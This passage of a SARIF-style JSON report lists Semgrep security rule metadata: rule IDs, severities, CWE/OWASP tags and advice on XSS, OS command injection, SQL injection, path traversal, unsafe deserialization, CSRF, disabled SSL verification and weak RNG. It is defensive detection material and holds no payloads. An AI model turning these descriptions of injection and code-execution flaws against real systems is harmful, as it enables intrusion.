`htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag)\n - [https://www.php.net/manual/en/language.basic-syntax.phptags.php](https://www.php.net/manual/en/language.basic-syntax.phptags.php)\n","text":"Found direct access to a PHP variable wihout HTML escaping inside an inline PHP statement setting data from `$_REQUEST[...]`. When untrusted input can be used to tamper with a web page rendering, it can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte."},"helpUri":"https://semgrep.dev/r/php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag","id":"php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag","name":"php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"$type extension has the potential to be unsafe, so use it with common sense and known json sources and not public facing ones to be safe"},"help":{"markdown":"$type extension has the potential to be unsafe, so use it with common sense and known json sources and not public facing ones to be safe\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization)\n - [https://github.com/mgholam/fastJSON#security-warning-update](https://github.com/mgholam/fastJSON#security-warning-update)\n","text":"$type extension has the potential to be unsafe, so use it with common sense and known json sources and not public facing ones to be safe"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization","id":"csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization","name":"csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run","id":"scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run","name":"scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The code must not contain any of Unicode Direction Control Characters"},"help":{"markdown":"The code must not contain any of Unicode Direction Control Characters\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.no-bidi-characters.no-bidi-characters)\n - [https://entethalliance.org/specs/ethtrust-sl/v1/#req-1-unicode-bdo](https://entethalliance.org/specs/ethtrust-sl/v1/#req-1-unicode-bdo)\n","text":"The code must not contain any of Unicode Direction Control Characters"},"helpUri":"https://semgrep.dev/r/solidity.security.no-bidi-characters.no-bidi-characters","id":"solidity.security.no-bidi-characters.no-bidi-characters","name":"solidity.security.no-bidi-characters.no-bidi-characters","properties":{"precision":"very-high","tags":["CWE-837: Improper Enforcement of a Single, Unique Action","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.no-bidi-characters.no-bidi-characters"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default","id":"python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default","name":"python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found 'importlib.resources', which is a module only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Use importlib_resources instead for older Python versions."},"help":{"markdown":"Found 'importlib.resources', which is a module only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Use importlib_resources instead for older Python versions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib2)\n","text":"Found 'importlib.resources', which is a module only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Use importlib_resources instead for older Python versions."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib2","id":"python.lang.compatibility.python37.python37-compatibility-importlib2","name":"python.lang.compatibility.python37.python37-compatibility-importlib2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-importlib2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input going into a php include or require command, which can lead to path traversal and sensitive data being exposed. These commands can also lead to code execution. Instead, allowlist files that the user can access or rigorously validate user input."},"help":{"markdown":"Detected user input going into a php include or require command, which can lead to path traversal and sensitive data being exposed. These commands can also lead to code execution. Instead, allowlist files that the user can access or rigorously validate user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-path-traversal.tainted-path-traversal)\n - [https://medium.com/@emmapinheiro42/php-include-ignore-4a3ba81371af](https://medium.com/@emmapinheiro42/php-include-ignore-4a3ba81371af)\n - [https://www.acunetix.com/websitesecurity/php-security-2/](https://www.acunetix.com/websitesecurity/php-security-2/)\n","text":"Detected user input going into a php include or require command, which can lead to path traversal and sensitive data being exposed. These commands can also lead to code execution. Instead, allowlist files that the user can access or rigorously validate user input."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-path-traversal.tainted-path-traversal","id":"php.lang.security.tainted-path-traversal.tainted-path-traversal","name":"php.lang.security.tainted-path-traversal.tainted-path-traversal","properties":{"precision":"very-high","tags":["CWE-23: Relative Path Traversal","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-path-traversal.tainted-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"SSL verification disabled, this allows for MitM attacks"},"help":{"markdown":"SSL verification disabled, this allows for MitM attacks\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.lang.security.ssl-verify-none.ssl-verify-none)\n - [https://docs.rs/openssl/latest/openssl/ssl/struct.SslContextBuilder.html#method.set_verify](https://docs.rs/openssl/latest/openssl/ssl/struct.SslContextBuilder.html#method.set_verify)\n","text":"SSL verification disabled, this allows for MitM attacks"},"helpUri":"https://semgrep.dev/r/rust.lang.security.ssl-verify-none.ssl-verify-none","id":"rust.lang.security.ssl-verify-none.ssl-verify-none","name":"rust.lang.security.ssl-verify-none.ssl-verify-none","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: rust.lang.security.ssl-verify-none.ssl-verify-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cryptographic algorithms are notoriously difficult to get right. By implementing a custom message digest, you risk introducing security issues into your program. Use one of the many sound message digests already available to you: MessageDigest sha256Digest = MessageDigest.getInstance(\"SHA256\");"},"help":{"markdown":"Cryptographic algorithms are notoriously difficult to get right. By implementing a custom message digest, you risk introducing security issues into your program. Use one of the many sound message digests already available to you: MessageDigest sha256Digest = MessageDigest.getInstance(\"SHA256\");\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#custom-algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#custom-algorithms)\n","text":"Cryptographic algorithms are notoriously difficult to get right. By implementing a custom message digest, you risk introducing security issues into your program. Use one of the many sound message digests already available to you: MessageDigest sha256Digest = MessageDigest.getInstance(\"SHA256\");"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests","id":"java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests","name":"java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'html_safe()' does not make the supplied string safe. 'html_safe()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here."},"help":{"markdown":"'html_safe()' does not make the supplied string safe. 'html_safe()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/cross_site_scripting/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/cross_site_scripting/index.markdown)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n","text":"'html_safe()' does not make the supplied string safe. 'html_safe()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe","id":"ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe","name":"ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django","id":"python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django","name":"python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/gorilla/csrf](https://github.com/gorilla/csrf)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"helpUri":"https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection","id":"go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection","name":"go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep","id":"java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep","name":"java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user data flowing into exec. This is code injection and should be avoided."},"help":{"markdown":"Detected user data flowing into exec. This is code injection and should be avoided.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.user-exec.exec-injection)\n - [https://nedbatchelder.com/blog/201206/exec_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/exec_really_is_dangerous.html)\n","text":"Detected user data flowing into exec. This is code injection and should be avoided."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.user-exec.exec-injection","id":"python.flask.security.injection.user-exec.exec-injection","name":"python.flask.security.injection.user-exec.exec-injection","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.user-exec.exec-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using grequests, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using grequests, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request)\n - [https://godoc.org/github.com/levigross/grequests#DoRegularRequest](https://godoc.org/github.com/levigross/grequests#DoRegularRequest)\n - [https://github.com/levigross/grequests](https://github.com/levigross/grequests)\n","text":"Checks for requests to http (unencrypted) sites using grequests, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request","id":"problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request","name":"problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.sql.sqlx-taint.sqlx-taint)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.hyper.sql.sqlx-taint.sqlx-taint","id":"rust.hyper.sql.sqlx-taint.sqlx-taint","name":"rust.hyper.sql.sqlx-taint.sqlx-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.sql.sqlx-taint.sqlx-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"You are using an insecure random number generator (RNG) to create a cryptographic key. System.Random must never be used for cryptographic purposes. Use System.Security.Cryptography.RandomNumberGenerator instead."},"help":{"markdown":"You are using an insecure random number generator (RNG) to create a cryptographic key. System.Random must never be used for cryptographic purposes. Use System.Security.Cryptography.RandomNumberGenerator instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration)\n - [https://learn.microsoft.com/en-us/dotnet/api/system.random?view=net-6.0#remarks](https://learn.microsoft.com/en-us/dotnet/api/system.random?view=net-6.0#remarks)\n - [https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.randomnumbergenerator?view=net-6.0](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.randomnumbergenerator?view=net-6.0)\n - [https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.aesgcm?view=net-6.0#constructors](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.aesgcm?view=net-6.0#constructors)\n - [https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.symmetricalgorithm.key?view=net-6.0#system-security-cryptography-symmetricalgorithm-key](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.symmetricalgorithm.key?view=net-6.0#system-security-cryptography-symmetricalgorithm-key)\n","text":"You are using an insecure random number generator (RNG) to create a cryptographic key. System.Random must never be used for cryptographic purposes. Use System.Security.Cryptography.RandomNumberGenerator instead."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration","id":"csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration","name":"csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration","properties":{"precision":"very-high","tags":["CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access 